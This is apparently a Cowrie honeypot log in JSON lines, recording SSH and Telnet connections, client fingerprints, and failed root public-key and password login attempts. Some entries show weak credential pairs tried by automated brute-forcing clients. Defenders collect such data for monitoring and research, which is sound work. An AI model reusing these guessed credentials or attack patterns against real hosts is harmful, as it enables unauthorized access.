{"eventid":"cowrie.session.connect","src_ip":"185.145.245.47","src_port":33640,"dst_ip":"10.17.0.5","dst_port":22,"session":"26dce149424b","protocol":"ssh","message":"New connection: 185.145.245.47:33640 (10.17.0.5:22) [session: 26dce149424b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:51.009557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:51.015661Z","src_ip":"185.145.245.47","session":"26dce149424b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:51.120057Z","src_ip":"185.145.245.47","session":"26dce149424b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:d0:de:13:39:3c:94:9d:46:d8:af:e8:16:2d:f5:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC85mi20kXDn55IDXmA9Nbix6fkhDXwKpDwIbk9U+wzbSNme4kHVXtJvs06VcK03/yBIcssjVgkD0Vzcp0FSQ0bx86knoZIE/GUwpKv3wEYx/WGPW1MhBe2WLe2GldgvsPt8u6+gmNOMR7aVka/tQXtK6x2x8Z92SAWqm26Gq6LqNi10qrWMyX1D8wkd9SzArMG/7yXM+/6KGx+IIa7XZ0+VtODvJqwb6UGhVBGrQusEws1xzOzZjzHLVhClfjA/xKPqKGwB1OdfvC//xl1XtV9tm/iUap2U9EOO8EZ7hdnzkoTpqJ5Tnxjot4k5cdHWNlYzLOZzoNWtDT7Wnv/ZKAt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:d0:de:13:39:3c:94:9d:46:d8:af:e8:16:2d:f5:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:51.608262Z","src_ip":"185.145.245.47","session":"26dce149424b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:d0:de:13:39:3c:94:9d:46:d8:af:e8:16:2d:f5:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC85mi20kXDn55IDXmA9Nbix6fkhDXwKpDwIbk9U+wzbSNme4kHVXtJvs06VcK03/yBIcssjVgkD0Vzcp0FSQ0bx86knoZIE/GUwpKv3wEYx/WGPW1MhBe2WLe2GldgvsPt8u6+gmNOMR7aVka/tQXtK6x2x8Z92SAWqm26Gq6LqNi10qrWMyX1D8wkd9SzArMG/7yXM+/6KGx+IIa7XZ0+VtODvJqwb6UGhVBGrQusEws1xzOzZjzHLVhClfjA/xKPqKGwB1OdfvC//xl1XtV9tm/iUap2U9EOO8EZ7hdnzkoTpqJ5Tnxjot4k5cdHWNlYzLOZzoNWtDT7Wnv/ZKAt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:51.612178Z","src_ip":"185.145.245.47","session":"26dce149424b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:51.630577Z","src_ip":"192.109.200.237","session":"0d3195c24ac5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:b6:a9:65:3a:20:ca:b0:5d:24:c0:18:92:74:e5:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMb7Lr4+0Bsv7Om9lRU9lGq9z1wyOpYWSw4t2K3+BIYffVhOXjcyJwgtQi4th2y+8LRnmLVqrJNZxHLH5EISrgTUZIedoJu0ZEdtoI4flGtPOuuSt1fV778t+jnw/QfoRnURuJeQ4w7cLydtBeg3jxBIUa5ba5xTSC25wAEe5Z53D2tdjS3l9ZZbXN8OcUpAOUwLb7rLNyIyMzMyKfXS0phvAI1NfBmfAR1kx2lb8mRHwWT50Vr3TbuB6j7wtF78N7ge2p+ATC2SsoZa0aT2TvQ0RljBGDjMCzM02OhJyRvF9Vm+kTLf8ygiDMhs7enfkVNvjPaLkUkJq1W8DWGXFxHuBVi1yAkQgmkLnkJIzPJbLBQSV92NRj3ZHthDx37Aqf2Q86ttbtfDeI9rsJNvemzAifGaJb9N/9Q/XJcVtW5xVcH/LoZJZLJm+IhaaEEcoTf5xMfYQRme+99ptlGvrGzszfrMHbNfEoV9eAecJWvuQNpw8OwEgsZQtEXDoRdoZNcJfpOWNpgQLxpiXqowgTd5SVXkGAV1MspysQr/RtNuVQTSlD2Y1bCUssrhao3zr+HTrusCCZABBZB/rG3YI/UGr1a2/JR7JGNx2FjKgQqlDIyUjiefiAjt/R9yBNyWUWPpKXU9Jj32kLuP0+vATMMv2ljeU5smknvkOftZVVKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:b6:a9:65:3a:20:ca:b0:5d:24:c0:18:92:74:e5:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:51.718511Z","src_ip":"185.145.245.47","session":"26dce149424b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:b6:a9:65:3a:20:ca:b0:5d:24:c0:18:92:74:e5:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMb7Lr4+0Bsv7Om9lRU9lGq9z1wyOpYWSw4t2K3+BIYffVhOXjcyJwgtQi4th2y+8LRnmLVqrJNZxHLH5EISrgTUZIedoJu0ZEdtoI4flGtPOuuSt1fV778t+jnw/QfoRnURuJeQ4w7cLydtBeg3jxBIUa5ba5xTSC25wAEe5Z53D2tdjS3l9ZZbXN8OcUpAOUwLb7rLNyIyMzMyKfXS0phvAI1NfBmfAR1kx2lb8mRHwWT50Vr3TbuB6j7wtF78N7ge2p+ATC2SsoZa0aT2TvQ0RljBGDjMCzM02OhJyRvF9Vm+kTLf8ygiDMhs7enfkVNvjPaLkUkJq1W8DWGXFxHuBVi1yAkQgmkLnkJIzPJbLBQSV92NRj3ZHthDx37Aqf2Q86ttbtfDeI9rsJNvemzAifGaJb9N/9Q/XJcVtW5xVcH/LoZJZLJm+IhaaEEcoTf5xMfYQRme+99ptlGvrGzszfrMHbNfEoV9eAecJWvuQNpw8OwEgsZQtEXDoRdoZNcJfpOWNpgQLxpiXqowgTd5SVXkGAV1MspysQr/RtNuVQTSlD2Y1bCUssrhao3zr+HTrusCCZABBZB/rG3YI/UGr1a2/JR7JGNx2FjKgQqlDIyUjiefiAjt/R9yBNyWUWPpKXU9Jj32kLuP0+vATMMv2ljeU5smknvkOftZVVKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:51.722722Z","src_ip":"185.145.245.47","session":"26dce149424b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:e4:89:30:dd:56:55:bb:22:f0:a5:a6:82:fc:51:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCghkdpTmHaWdf40ImW7ztBgRiKF+3A6zgWxuRvNTdzf4LUhQhW5Ou0TEwlgIH+LsDN5qBKIGdAlw3eQwckue/lVD+grF5P7cgwcXC79/pfwG/8n2bsIaJJbPcoyMxKMfVXWgJ3lrxG+jzZg4s9X8OaTVaCbFZaN8ABINVAoq++QfHHP0PaynATmOgczjslyzki6PtG7250VLsoUeYfXIvi/Isg6wP9a7vs4277O75rhRy87GBOcuvnKZSKZ/F5QX2rjUZs1CkVoadrg7gAoDFH3ZLjjDrw+szC0P6306c4Vvz+ZII2ZUFHBQZjig0EPMC+Mxtf6MLd7xPL9fX8JcExhZ6kE6PQUDa7D8ih8quDs9l7DNjRfp86HUYu8Dt4MQXYVQin44InUrDQjQ7fugVdRiednG/GHxu1iYusC60TMrAbQ1FyKimVC6ahnywNK1Ioots8riNiFOCE6rkB+Utlv7TipAwN4wPU4FhwIncQ7HjIkWnbKAREgA8tszwYvuHS0R+EPCZ/TOxiXw+2cLa8xW29SRl5n6uDONfNbrXtytMqTot7z1MD/KMApr5zq3Lcd9+Zc98+15e19m2ckiSwY43Gi/I5b1SpPxwkfXowxCXKs076coO/l5YbpXLCo67N8JaVMxYjcC2ZnFRikzolMqDn5XV587ivithSiiYeLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:e4:89:30:dd:56:55:bb:22:f0:a5:a6:82:fc:51:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:51.825940Z","src_ip":"185.145.245.47","session":"26dce149424b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:e4:89:30:dd:56:55:bb:22:f0:a5:a6:82:fc:51:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCghkdpTmHaWdf40ImW7ztBgRiKF+3A6zgWxuRvNTdzf4LUhQhW5Ou0TEwlgIH+LsDN5qBKIGdAlw3eQwckue/lVD+grF5P7cgwcXC79/pfwG/8n2bsIaJJbPcoyMxKMfVXWgJ3lrxG+jzZg4s9X8OaTVaCbFZaN8ABINVAoq++QfHHP0PaynATmOgczjslyzki6PtG7250VLsoUeYfXIvi/Isg6wP9a7vs4277O75rhRy87GBOcuvnKZSKZ/F5QX2rjUZs1CkVoadrg7gAoDFH3ZLjjDrw+szC0P6306c4Vvz+ZII2ZUFHBQZjig0EPMC+Mxtf6MLd7xPL9fX8JcExhZ6kE6PQUDa7D8ih8quDs9l7DNjRfp86HUYu8Dt4MQXYVQin44InUrDQjQ7fugVdRiednG/GHxu1iYusC60TMrAbQ1FyKimVC6ahnywNK1Ioots8riNiFOCE6rkB+Utlv7TipAwN4wPU4FhwIncQ7HjIkWnbKAREgA8tszwYvuHS0R+EPCZ/TOxiXw+2cLa8xW29SRl5n6uDONfNbrXtytMqTot7z1MD/KMApr5zq3Lcd9+Zc98+15e19m2ckiSwY43Gi/I5b1SpPxwkfXowxCXKs076coO/l5YbpXLCo67N8JaVMxYjcC2ZnFRikzolMqDn5XV587ivithSiiYeLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:51.830181Z","src_ip":"185.145.245.47","session":"26dce149424b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:a2:56:d0:52:a6:c3:14:d9:40:2b:07:72:26:a3:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxTe72esvQt3hhuqmO+MOv2EHc8RbKb2v5AezsEnUG0bPEcyhp4xemYOC4EyNMtm0+MVrPfgqck/LLcYyyHgwbXUz2LsbOVlnticuTC6LlqqhP8Q36wDGetYzoGHGK1sdALbHXHwbkV37BaQDdm1RtaT12/w4X0spldE7wIXxAI/DAq8T5R08dm9gpecuLSRfFsbY0mPgec4MuYEawXCCNkvPfdpk7xTiYC+QOwSZbf4jlL0kc5AFEpT4I7IhsXNM18pvA3EtwRVCB7H7iSkdydftZ1KFlLZHfiSVfOtsz/GFMRqoMmkgdxmr/BDSyGYI5qFkjJgSQp4ZfBkgg5HaD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:a2:56:d0:52:a6:c3:14:d9:40:2b:07:72:26:a3:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:51.933139Z","src_ip":"185.145.245.47","session":"26dce149424b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:a2:56:d0:52:a6:c3:14:d9:40:2b:07:72:26:a3:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxTe72esvQt3hhuqmO+MOv2EHc8RbKb2v5AezsEnUG0bPEcyhp4xemYOC4EyNMtm0+MVrPfgqck/LLcYyyHgwbXUz2LsbOVlnticuTC6LlqqhP8Q36wDGetYzoGHGK1sdALbHXHwbkV37BaQDdm1RtaT12/w4X0spldE7wIXxAI/DAq8T5R08dm9gpecuLSRfFsbY0mPgec4MuYEawXCCNkvPfdpk7xTiYC+QOwSZbf4jlL0kc5AFEpT4I7IhsXNM18pvA3EtwRVCB7H7iSkdydftZ1KFlLZHfiSVfOtsz/GFMRqoMmkgdxmr/BDSyGYI5qFkjJgSQp4ZfBkgg5HaD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:51.937423Z","src_ip":"185.145.245.47","session":"26dce149424b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:38:70:49:c8:4b:4e:83:03:ee:23:d9:d2:94:e6:fb","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKXxGbpP+Jk6ue4FSb3A92qjJknwQdy+aNtKgDw73ZZFoDwouFXbscUk5qiHf9KfcZxc2CRoaPu56m8zBQJKGKfFCLvSbvpIRYRf3Fo+t3cFFH6k1BBk+1PET3LVzL7S4ZGq73+OMJzsYn7/fHBM6F4Sy6YIFZ7cgeaepekcJzQXAAAAFQDzT4rcbimFxTLz7Y4i9dTGwDbfvwAAAIACxLX2LEspFHO77hziSJQ5x7nuv8rQx+aLLjeHYjuass43l1CD0/ETTCb6tDEqBQ/SPwwPl+nuwAhRvdjcpuWSWES58u5PawS0+q59Gch/0L5VR4aJ70rvRuk2PkOVCmF/QSwyKTQLNzLNeEYHl2v5aYHaTFK8oM6My9yLf3CnSgAAAIBogj+PR1IsYRe15pndUxPEzjuIHAzeUP2rlCwB23NNBx5fSI/f8ZTL+oOhYJPPMeBRm3dTRxBQhjWjYDpQo9QCP29Tqk+8trdofQhUR7EwE3ujkfeHof5rVNLt2qZIQUIaaamzYKGThSACJ9uxqiG0iCGVMxSY2RQBLZh1AKFeBA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 97:38:70:49:c8:4b:4e:83:03:ee:23:d9:d2:94:e6:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:52.040696Z","src_ip":"185.145.245.47","session":"26dce149424b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:38:70:49:c8:4b:4e:83:03:ee:23:d9:d2:94:e6:fb","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKXxGbpP+Jk6ue4FSb3A92qjJknwQdy+aNtKgDw73ZZFoDwouFXbscUk5qiHf9KfcZxc2CRoaPu56m8zBQJKGKfFCLvSbvpIRYRf3Fo+t3cFFH6k1BBk+1PET3LVzL7S4ZGq73+OMJzsYn7/fHBM6F4Sy6YIFZ7cgeaepekcJzQXAAAAFQDzT4rcbimFxTLz7Y4i9dTGwDbfvwAAAIACxLX2LEspFHO77hziSJQ5x7nuv8rQx+aLLjeHYjuass43l1CD0/ETTCb6tDEqBQ/SPwwPl+nuwAhRvdjcpuWSWES58u5PawS0+q59Gch/0L5VR4aJ70rvRuk2PkOVCmF/QSwyKTQLNzLNeEYHl2v5aYHaTFK8oM6My9yLf3CnSgAAAIBogj+PR1IsYRe15pndUxPEzjuIHAzeUP2rlCwB23NNBx5fSI/f8ZTL+oOhYJPPMeBRm3dTRxBQhjWjYDpQo9QCP29Tqk+8trdofQhUR7EwE3ujkfeHof5rVNLt2qZIQUIaaamzYKGThSACJ9uxqiG0iCGVMxSY2RQBLZh1AKFeBA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:52.044447Z","src_ip":"185.145.245.47","session":"26dce149424b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:52.149034Z","src_ip":"185.145.245.47","session":"26dce149424b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59474,"dst_ip":"159.203.135.109","dst_port":22,"session":"507764801210","protocol":"ssh","message":"New connection: 192.109.200.237:59474 (159.203.135.109:22) [session: 507764801210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:53.420139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:53.424786Z","src_ip":"192.109.200.237","session":"507764801210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:53.507024Z","src_ip":"192.109.200.237","session":"507764801210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:53.754468Z","src_ip":"192.109.200.237","session":"507764801210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:54.840201Z","src_ip":"192.109.200.237","session":"507764801210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59486,"dst_ip":"159.203.135.109","dst_port":22,"session":"91060589965c","protocol":"ssh","message":"New connection: 192.109.200.237:59486 (159.203.135.109:22) [session: 91060589965c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:56.879687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:56.884536Z","src_ip":"192.109.200.237","session":"91060589965c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:56.966409Z","src_ip":"192.109.200.237","session":"91060589965c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:57.214358Z","src_ip":"192.109.200.237","session":"91060589965c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:58.300945Z","src_ip":"192.109.200.237","session":"91060589965c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42758,"dst_ip":"10.17.0.5","dst_port":23,"session":"abd7cc7773ec","protocol":"telnet","message":"New connection: 50.6.8.71:42758 (10.17.0.5:23) [session: abd7cc7773ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:22:59.577995Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33578,"dst_ip":"159.203.135.109","dst_port":22,"session":"3324fed3830b","protocol":"ssh","message":"New connection: 192.109.200.237:33578 (159.203.135.109:22) [session: 3324fed3830b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:00.118918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:00.127045Z","src_ip":"192.109.200.237","session":"3324fed3830b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:00.236055Z","src_ip":"192.109.200.237","session":"3324fed3830b","protocol":"ssh"}
